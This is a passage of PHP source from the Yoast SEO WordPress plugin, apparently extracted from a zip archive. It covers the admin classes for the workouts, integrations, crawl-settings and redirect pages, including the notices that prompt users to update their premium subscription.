	 * Enqueue the workouts app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_workouts' ) {
			return;
		}

		if ( $this->should_update_premium() ) {
			\wp_dequeue_script( 'yoast-seo-premium-workouts' );
		}

		$this->admin_asset_manager->enqueue_style( 'workouts' );

		$workouts_option = $this->get_workouts_option();
		$ftc_url         = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$this->admin_asset_manager->enqueue_script( 'workouts' );
		$this->admin_asset_manager->localize_script(
			'workouts',
			'wpseoWorkoutsData',
			[
				'workouts'                  => $workouts_option,
				'homeUrl'                   => \home_url(),
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'toolsPageUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_tools' ) ),
				'usersPageUrl'              => \esc_url( \admin_url( 'users.php' ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'isPremium'                 => $this->product_helper->is_premium(),
				'upsellText'                => $this->get_upsell_text(),
				'upsellLink'                => $this->get_upsell_link(),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		if ( $this->should_update_premium() ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in get_update_premium_notice.
			echo $this->get_update_premium_notice();
		}

		echo '<div id="wpseo-workouts-container-free" class="yoast"></div>';
	}

	/**
	 * Gets the workouts option.
	 *
	 * @return mixed|null Returns workouts option if found, null if not.
	 */
	private function get_workouts_option() {
		$workouts_option = $this->options_helper->get( 'workouts_data' );

		// This filter is documented in src/routes/workouts-route.php.
		return \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );
	}

	/**
	 * Returns the notification to show when Premium needs to be updated.
	 *
	 * @return string The notification to update Premium.
	 */
	private function get_update_premium_notice() {
		$url = $this->get_upsell_link();

		if ( $this->has_premium_subscription_expired() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Renew your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\esc_html__(
					'Accessing the latest workouts requires an updated version of %s (at least 17.7), but it looks like your subscription has expired. Please renew your subscription to update and gain access to all the latest features.',
					'wordpress-seo'
				),
				'Yoast SEO Premium'
			);
			$button = '<a class="yoast-button yoast-button-upsell yoast-button--small" href="' . \esc_url( $url ) . '" target="_blank">'
					. \esc_html__( 'Renew your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>'
					. '</a>';
		}
		elseif ( $this->has_premium_subscription_activated() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Update to the latest version of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you\'re running an outdated version of %1$s, please %2$supdate to the latest version (at least 17.7)%3$s to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = null;
		}
		else {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title      = \sprintf( \__( 'Activate your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$url_button = 'https://yoa.st/workouts-activate-notice-help';
			$copy       = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you’re running an outdated and unactivated version of %1$s, please activate your subscription in %2$sMyYoast%3$s and update to the latest version (at least 17.7) to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = '<a class="yoast-button yoast-button--primary yoast-button--small" href="' . \esc_url( $url_button ) . '" target="_blank">'
					. \esc_html__( 'Get help activating your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '</a>';
		}

		$notice = new Notice_Presenter(
			$title,
			$copy,
			null,
			$button
		);

		return $notice->present();
	}

	/**
	 * Check whether Premium should be updated.
	 *
	 * @return bool Returns true when Premium is enabled and the version is below 17.7.
	 */
	private function should_update_premium() {
		$premium_version = $this->product_helper->get_premium_version();
		return $premium_version !== null && \version_compare( $premium_version, '17.7-RC1', '<' );
	}

	/**
	 * Check whether the Premium subscription has expired.
	 *
	 * @return bool Returns true when Premium subscription has expired.
	 */
	private function has_premium_subscription_expired() {
		$subscription = $this->addon_manager->get_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );

		return ( isset( $subscription->expiry_date ) && ( \strtotime( $subscription->expiry_date ) - \time() ) < 0 );
	}

	/**
	 * Check whether the Premium subscription is activated.
	 *
	 * @return bool Returns true when Premium subscription is activated.
	 */
	private function has_premium_subscription_activated() {
		return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}

	/**
	 * Returns the upsell/update copy to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update copy for the card buttons.
	 */
	private function get_upsell_text() {
		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Renew %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Update %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		return \sprintf(
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			\__( 'Activate %s', 'wordpress-seo' ),
			'Yoast SEO Premium'
		);
	}

	/**
	 * Returns the upsell/update link to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update link for the card buttons.
	 */
	private function get_upsell_link() {
		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return 'https://yoa.st/workout-renew-notice';
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=wordpress-seo-premium/wp-seo-premium.php' ), 'upgrade-plugin_wordpress-seo-premium/wp-seo-premium.php' );
		}
		return 'https://yoa.st/workouts-activate-notice-myyoast';
	}
}
PK       ! LU8'  8'    admin/integrations-page.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Easy_Digital_Downloads;
use SeriouslySimplePodcasting\Integrations\Yoast\Schema\PodcastEpisode;
use TEC\Events\Integrations\Plugins\WordPress_SEO\Events_Schema;
use WP_Recipe_Maker;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Jetpack_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional;
use Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Site_Kit_Consent_Management_Endpoint;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Integrations_Page class
 */
class Integrations_Page implements Integration_Interface {

	/**
	 * The Woocommerce helper.
	 *
	 * @var Woocommerce_Helper
	 */
	private $woocommerce_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The elementor conditional.
	 *
	 * @var Elementor_Activated_Conditional
	 */
	private $elementor_conditional;

	/**
	 * The jetpack conditional.
	 *
	 * @var Jetpack_Conditional
	 */
	private $jetpack_conditional;

	/**
	 * The site kit integration configuration data.
	 *
	 * @var Site_Kit
	 */
	private $site_kit_integration_data;

	/**
	 * The site kit consent management endpoint.
	 *
	 * @var Site_Kit_Consent_Management_Endpoint
	 */
	private $site_kit_consent_management_endpoint;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager            $admin_asset_manager                  The admin asset manager.
	 * @param Options_Helper                       $options_helper                       The options helper.
	 * @param Woocommerce_Helper                   $woocommerce_helper                   The WooCommerce helper.
	 * @param Elementor_Activated_Conditional      $elementor_conditional                The elementor conditional.
	 * @param Jetpack_Conditional                  $jetpack_conditional                  The Jetpack conditional.
	 * @param Site_Kit                             $site_kit_integration_data            The site kit integration
	 *                                                                                   configuration data.
	 * @param Site_Kit_Consent_Management_Endpoint $site_kit_consent_management_endpoint The site kit consent
	 *                                                                                   management endpoint.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Woocommerce_Helper $woocommerce_helper,
		Elementor_Activated_Conditional $elementor_conditional,
		Jetpack_Conditional $jetpack_conditional,
		Site_Kit $site_kit_integration_data,
		Site_Kit_Consent_Management_Endpoint $site_kit_consent_management_endpoint
	) {
		$this->admin_asset_manager                  = $admin_asset_manager;
		$this->options_helper                       = $options_helper;
		$this->woocommerce_helper                   = $woocommerce_helper;
		$this->elementor_conditional                = $elementor_conditional;
		$this->jetpack_conditional                  = $jetpack_conditional;
		$this->site_kit_integration_data            = $site_kit_integration_data;
		$this->site_kit_consent_management_endpoint = $site_kit_consent_management_endpoint;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the integrations submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$integrations_page = [
			'wpseo_dashboard',
			'',
			\__( 'Integrations', 'wordpress-seo' ),
			'wpseo_manage_options',
			'wpseo_integrations',
			[ $this, 'render_target' ],
		];

		\array_splice( $submenu_pages, 1, 0, [ $integrations_page ] );

		return $submenu_pages;
	}

	/**
	 * Enqueue the integrations app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_integrations' ) {
			return;
		}

		$this->admin_asset_manager->enqueue_style( 'admin-css' );
		$this->admin_asset_manager->enqueue_style( 'tailwind' );
		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$this->admin_asset_manager->enqueue_script( 'integrations-page' );

		$woocommerce_seo_file = 'wpseo-woocommerce/wpseo-woocommerce.php';
		$acf_seo_file         = 'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php';
		$acf_seo_file_github  = 'yoast-acf-analysis/yoast-acf-analysis.php';
		$algolia_file         = 'wp-search-with-algolia/algolia.php';
		$old_algolia_file     = 'search-by-algolia-instant-relevant-results/algolia.php';

		$addon_manager             = new WPSEO_Addon_Manager();
		$woocommerce_seo_installed = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );

		$woocommerce_seo_active   = \is_plugin_active( $woocommerce_seo_file );
		$woocommerce_active       = $this->woocommerce_helper->is_active();
		$acf_seo_installed        = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file );
		$acf_seo_github_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file_github );
		$acf_seo_active           = \is_plugin_active( $acf_seo_file );
		$acf_seo_github_active    = \is_plugin_active( $acf_seo_file_github );
		$acf_active               = \class_exists( 'acf' );
		$algolia_active           = \is_plugin_active( $algolia_file );
		$edd_active               = \class_exists( Easy_Digital_Downloads::class );
		$old_algolia_active       = \is_plugin_active( $old_algolia_file );
		$tec_active               = \class_exists( Events_Schema::class );
		$ssp_active               = \class_exists( PodcastEpisode::class );
		$wp_recipe_maker_active   = \class_exists( WP_Recipe_Maker::class );
		$mastodon_active          = $this->is_mastodon_active();

		$woocommerce_seo_activate_url = \wp_nonce_url(
			\self_admin_url( 'plugins.php?action=activate&plugin=' . $woocommerce_seo_file ),
			'activate-plugin_' . $woocommerce_seo_file
		);

		if ( $acf_seo_installed ) {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file ),
				'activate-plugin_' . $acf_seo_file
			);
		}
		else {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file_github ),
				'activate-plugin_' . $acf_seo_file_github
			);
		}

		$acf_seo_install_url = \wp_nonce_url(
			\self_admin_url( 'update.php?action=install-plugin&plugin=acf-content-analysis-for-yoast-seo' ),
			'install-plugin_acf-content-analysis-for-yoast-seo'
		);

		$this->admin_asset_manager->localize_script(
			'integrations-page',
			'wpseoIntegrationsData',
			[
				'semrush_integration_active'         => $this->options_helper->get( 'semrush_integration_active', true ),
				'allow_semrush_integration'          => $this->options_helper->get( 'allow_semrush_integration_active', true ),
				'algolia_integration_active'         => $this->options_helper->get( 'algolia_integration_active', false ),
				'allow_algolia_integration'          => $this->options_helper->get( 'allow_algolia_integration_active', true ),
				'wincher_integration_active'         => $this->options_helper->get( 'wincher_integration_active', true ),
				'allow_wincher_integration'          => null,
				'elementor_integration_active'       => $this->elementor_conditional->is_met(),
				'jetpack_integration_active'         => $this->jetpack_conditional->is_met(),
				'woocommerce_seo_installed'          => $woocommerce_seo_installed,
				'woocommerce_seo_active'             => $woocommerce_seo_active,
				'woocommerce_active'                 => $woocommerce_active,
				'woocommerce_seo_activate_url'       => $woocommerce_seo_activate_url,
				'acf_seo_installed'                  => $acf_seo_installed || $acf_seo_github_installed,
				'acf_seo_active'                     => $acf_seo_active || $acf_seo_github_active,
				'acf_active'                         => $acf_active,
				'acf_seo_activate_url'               => $acf_seo_activate_url,
				'acf_seo_install_url'                => $acf_seo_install_url,
				'algolia_active'                     => $algolia_active || $old_algolia_active,
				'edd_integration_active'             => $edd_active,
				'ssp_integration_active'             => $ssp_active,
				'tec_integration_active'             => $tec_active,
				'wp-recipe-maker_integration_active' => $wp_recipe_maker_active,
				'mastodon_active'                    => $mastodon_active,
				'is_multisite'                       => \is_multisite(),
				'plugin_url'                         => \plugins_url( '', \WPSEO_FILE ),
				'site_kit_configuration'             => $this->site_kit_integration_data->to_array(),
				'site_kit_consent_management_url'    => $this->site_kit_consent_management_endpoint->get_url(),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		?>
		<div class="wrap yoast wpseo-admin-page page-wpseo">
			<div class="wp-header-end" style="height: 0; width: 0;"></div>
			<div id="wpseo-integrations"></div>
		</div>
		<?php
	}

	/**
	 * Checks whether the Mastodon profile field has been filled in.
	 *
	 * @return bool
	 */
	private function is_mastodon_active() {
		return \apply_filters( 'wpseo_mastodon_active', false );
	}
}
PK       ! ߶+  +  $  admin/crawl-settings-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use WPSEO_Option;
use WPSEO_Shortlinker;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast_Form;

/**
 * Crawl_Settings_Integration class
 */
class Crawl_Settings_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * Holds the settings + labels for the head clean up piece.
	 *
	 * @var array
	 */
	private $basic_settings;

	/**
	 * Holds the settings + labels for the feeds clean up.
	 *
	 * @var array
	 */
	private $feed_settings;

	/**
	 * Holds the settings + labels for permalink cleanup settings.
	 *
	 * @var array
	 */
	private $permalink_cleanup_settings;

	/**
	 * Holds the settings + labels for search cleanup settings.
	 *
	 * @var array
	 */
	private $search_cleanup_settings;

	/**
	 * Holds the settings + labels for unused resources settings.
	 *
	 * @var array
	 */
	private $unused_resources_settings;

	/**
	 * The shortlinker.
	 *
	 * @var WPSEO_Shortlinker
	 */
	private $shortlinker;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Crawl_Settings_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param WPSEO_Shortlinker         $shortlinker         The shortlinker.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $admin_asset_manager, WPSEO_Shortlinker $shortlinker ) {
		$this->admin_asset_manager = $admin_asset_manager;
		$this->shortlinker         = $shortlinker;
	}

	/**
	 * Registers an action to add a new tab to the General page.
	 *
	 * @return void
	 */
	public function register_hooks() {
		$this->register_setting_labels();

		\add_action( 'wpseo_settings_tab_crawl_cleanup_network', [ $this, 'add_crawl_settings_tab_content_network' ] );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Enqueue the workouts app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( ! \is_network_admin() ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Page is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_dashboard' ) {
			return;
		}
		$this->admin_asset_manager->enqueue_script( 'crawl-settings' );
	}

	/**
	 * Connects the settings to their labels.
	 *
	 * @return void
	 */
	private function register_setting_labels() {
		$this->feed_settings = [
			'remove_feed_global'            => \__( 'Global feed', 'wordpress-seo' ),
			'remove_feed_global_comments'   => \__( 'Global comment feeds', 'wordpress-seo' ),
			'remove_feed_post_comments'     => \__( 'Post comments feeds', 'wordpress-seo' ),
			'remove_feed_authors'           => \__( 'Post authors feeds', 'wordpress-seo' ),
			'remove_feed_post_types'        => \__( 'Post type feeds', 'wordpress-seo' ),
			'remove_feed_categories'        => \__( 'Category feeds', 'wordpress-seo' ),
			'remove_feed_tags'              => \__( 'Tag feeds', 'wordpress-seo' ),
			'remove_feed_custom_taxonomies' => \__( 'Custom taxonomy feeds', 'wordpress-seo' ),
			'remove_feed_search'            => \__( 'Search results feeds', 'wordpress-seo' ),
			'remove_atom_rdf_feeds'         => \__( 'Atom/RDF feeds', 'wordpress-seo' ),
		];

		$this->basic_settings = [
			'remove_shortlinks'        => \__( 'Shortlinks', 'wordpress-seo' ),
			'remove_rest_api_links'    => \__( 'REST API links', 'wordpress-seo' ),
			'remove_rsd_wlw_links'     => \__( 'RSD / WLW links', 'wordpress-seo' ),
			'remove_oembed_links'      => \__( 'oEmbed links', 'wordpress-seo' ),
			'remove_generator'         => \__( 'Generator tag', 'wordpress-seo' ),
			'remove_pingback_header'   => \__( 'Pingback HTTP header', 'wordpress-seo' ),
			'remove_powered_by_header' => \__( 'Powered by HTTP header', 'wordpress-seo' ),
		];

		$this->permalink_cleanup_settings = [
			'clean_campaign_tracking_urls' => \__( 'Campaign tracking URL parameters', 'wordpress-seo' ),
			'clean_permalinks'             => \__( 'Unregistered URL parameters', 'wordpress-seo' ),
		];

		$this->search_cleanup_settings = [
			'search_cleanup'              => \__( 'Filter search terms', 'wordpress-seo' ),
			'search_cleanup_emoji'        => \__( 'Filter searches with emojis and other special characters', 'wordpress-seo' ),
			'search_cleanup_patterns'     => \__( 'Filter searches with common spam patterns', 'wordpress-seo' ),
			'deny_search_crawling'        => \__( 'Prevent search engines from crawling site search URLs', 'wordpress-seo' ),
			'redirect_search_pretty_urls' => \__( 'Redirect pretty URLs for search pages to raw format', 'wordpress-seo' ),
		];

		$this->unused_resources_settings = [
			'remove_emoji_scripts'  => \__( 'Emoji scripts', 'wordpress-seo' ),
			'deny_wp_json_crawling' => \__( 'Prevent search engines from crawling /wp-json/', 'wordpress-seo' ),
			'deny_adsbot_crawling'  => \__( 'Prevent Google AdsBot from crawling', 'wordpress-seo' ),
		];
	}

	/**
	 * Adds content to the Crawl Cleanup network tab.
	 *
	 * @param Yoast_Form $yform The yoast form object.
	 *
	 * @return void
	 */
	public function add_crawl_settings_tab_content_network( $yform ) {
		$this->add_crawl_settings( $yform );
	}

	/**
	 * Print the settings sections.
	 *
	 * @param Yoast_Form $yform The Yoast form class.
	 *
	 * @return void
	 */
	private function add_crawl_settings( $yform ) {
		$this->print_toggles( $this->basic_settings, $yform, \__( 'Basic crawl settings', 'wordpress-seo' ) );

		$this->print_toggles( $this->feed_settings, $yform, \__( 'Feed crawl settings', 'wordpress-seo' ) );
		$this->print_toggles( $this->unused_resources_settings, $yform, \__( 'Remove unused resources', 'wordpress-seo' ) );

		$first_search_setting    = \array_slice( $this->search_cleanup_settings, 0, 1 );
		$rest_search_settings    = \array_slice( $this->search_cleanup_settings, 1 );
		$search_settings_toggles = [
			'off' => \__( 'Disabled', 'wordpress-seo' ),
			'on'  => \__( 'Enabled', 'wordpress-seo' ),
		];

		$this->print_toggles( $first_search_setting, $yform, \__( 'Search cleanup settings', 'wordpress-seo' ), $search_settings_toggles );

		$this->print_toggles( $rest_search_settings, $yform, '', $search_settings_toggles );

		$permalink_warning = \sprintf(
		/* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO page of the Permalink Cleanup features, %2$s expands to a closing anchor tag. */
			\esc_html__(
				'These are expert features, so make sure you know what you\'re doing before removing the parameters. %1$sRead more about how your site can be affected%2$s.',
				'wordpress-seo'
			),
			'<a href="' . \esc_url( $this->shortlinker->build_shortlink( 'https://yoa.st/permalink-cleanup' ) ) . '" target="_blank" rel="noopener noreferrer">',
			'</a>'
		);

		$this->print_toggles( $this->permalink_cleanup_settings, $yform, \__( 'Permalink cleanup settings', 'wordpress-seo' ), [], $permalink_warning );

		// Add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
		$yform->hidden( 'clean_permalinks_extra_variables', 'clean_permalinks_extra_variables' );
	}

	/**
	 * Prints a list of toggles for an array of settings with labels.
	 *
	 * @param array      $settings The settings being displayed.
	 * @param Yoast_Form $yform    The Yoast form class.
	 * @param string     $title    Optional title for the settings being displayed.
	 * @param array      $toggles  Optional naming of the toggle buttons.
	 * @param string     $warning  Optional warning to be displayed above the toggles.
	 *
	 * @return void
	 */
	private function print_toggles( array $settings, Yoast_Form $yform, $title = '', $toggles = [], $warning = '' ) {
		if ( ! empty( $title ) ) {
			echo '<h3 class="yoast-crawl-settings">', \esc_html( $title ), '</h3>';
		}

		if ( ! empty( $warning ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in Alert_Presenter.
			echo new Alert_Presenter( $warning, 'warning' );
		}

		if ( empty( $toggles ) ) {
			$toggles = [
				'off' => \__( 'Keep', 'wordpress-seo' ),
				'on'  => \__( 'Remove', 'wordpress-seo' ),
			];
		}

		$setting_prefix = WPSEO_Option::ALLOW_KEY_PREFIX;
		$toggles        = [
			// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
			'on'  => \__( 'Allow Control', 'wordpress-seo' ),
			// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
			'off' => \__( 'Disable', 'wordpress-seo' ),
		];

		foreach ( $settings as $setting => $label ) {
			$attr     = [];
			$variable = $setting_prefix . $setting;

			if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
				$attr     = [
					'disabled' => true,
				];
				$variable = $setting_prefix . $setting . '_disabled';

				// Also add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
				$yform->hidden( $setting_prefix . $setting, $setting_prefix . $setting );
			}
			elseif ( $this->should_feature_be_disabled_multisite( $setting ) ) {
				$attr = [
					'disabled'                => true,
					'preserve_disabled_value' => false,
				];
			}

			$yform->toggle_switch(
				$variable,
				$toggles,
				$label,
				'',
				$attr
			);
			if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
				echo '<p class="yoast-crawl-settings-help">';
				if ( \current_user_can( 'manage_options' ) ) {
					\printf(
					/* translators: 1: Link start tag to the Permalinks settings page, 2: Link closing tag. */
						\esc_html__( 'This feature is disabled when your site is not using %1$spretty permalinks%2$s.', 'wordpress-seo' ),
						'<a href="' . \esc_url( \admin_url( 'options-permalink.php' ) ) . '">',
						'</a>'
					);
				}
				else {
					echo \esc_html__( 'This feature is disabled when your site is not using pretty permalinks.', 'wordpress-seo' );
				}
				echo '</p>';
			}
		}
	}

	/**
	 * Checks if the feature should be disabled due to non-pretty permalinks.
	 *
	 * @param string $setting The setting to be displayed.
	 *
	 * @return bool
	 */
	protected function should_feature_be_disabled_permalink( $setting ) {
		return (
			\in_array( $setting, [ 'clean_permalinks', 'clean_campaign_tracking_urls' ], true )
			&& empty( \get_option( 'permalink_structure' ) )
		);
	}

	/**
	 * Checks if the feature should be disabled due to the site being a multisite.
	 *
	 * @param string $setting The setting to be displayed.
	 *
	 * @return bool
	 */
	protected function should_feature_be_disabled_multisite( $setting ) {
		return (
			\in_array( $setting, [ 'deny_search_crawling', 'deny_wp_json_crawling', 'deny_adsbot_crawling' ], true )
			&& \is_multisite()
		);
	}
}
PK       ! 6RX      admin/redirect-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Redirect_Integration.
 */
class Redirect_Integration implements Integration_Interface {

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect;

	/**
	 * Sets the helpers.
	 *
	 * @param Redirect_Helper $redirect The redirect helper.
	 */
	public function __construct( Redirect_Helper $redirect ) {
		$this->redirect = $redirect;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_loaded', [ $this, 'old_settings_redirect' ] );
	}

	/**
	 * Redirect to new settings URLs. We're adding this, so that not-updated add-ons don't point to non-existent pages.
	 *
	 * @return void
	 */
	public function old_settings_redirect() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! isset( $_GET['page'] ) ) {
			return;
		}
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$current_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );

		switch ( $current_page ) {
			case 'wpseo_titles':
				$this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_page_settings#/site-representation' ), 301 );
				return;
			default:
				return;
		}
	}
}
PK       ! y     $  admin/redirects-page-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Redirects_Page_Integration class.
 */
class Redirects_Page_Integration implements Integration_Interface {

	/**
	 * Sets up the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 9 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case: only when on an admin page and Premium is not active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Premium_Inactive_Conditional::class,
		];
	}

	/**
	 * Adds the redirects submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$submenu_pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Redirects', 'wordpress-seo' ) . ' <span class="yoast-badge yoast-premium-badge"></span>',
			'edit_others_posts',
			'wpseo_redirects',
			[ $this, 'display' ],
		];

		return $submenu_pages;
	}

	/**
	 * Displays the redirects page.
	 *
	 * @return void
	 */
	public function display() {
		require \WPSEO_PATH . 'admin/pages/redirects.php';
	}
}
PK       ! k    5  admin/addon-installation/installation-integration.phpnu [        <?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Discussed in Tech Council, a better solution is being worked on.

namespace Yoast\WP\SEO\Integrations\Admin\Addon_Installation;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action;
use Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional;
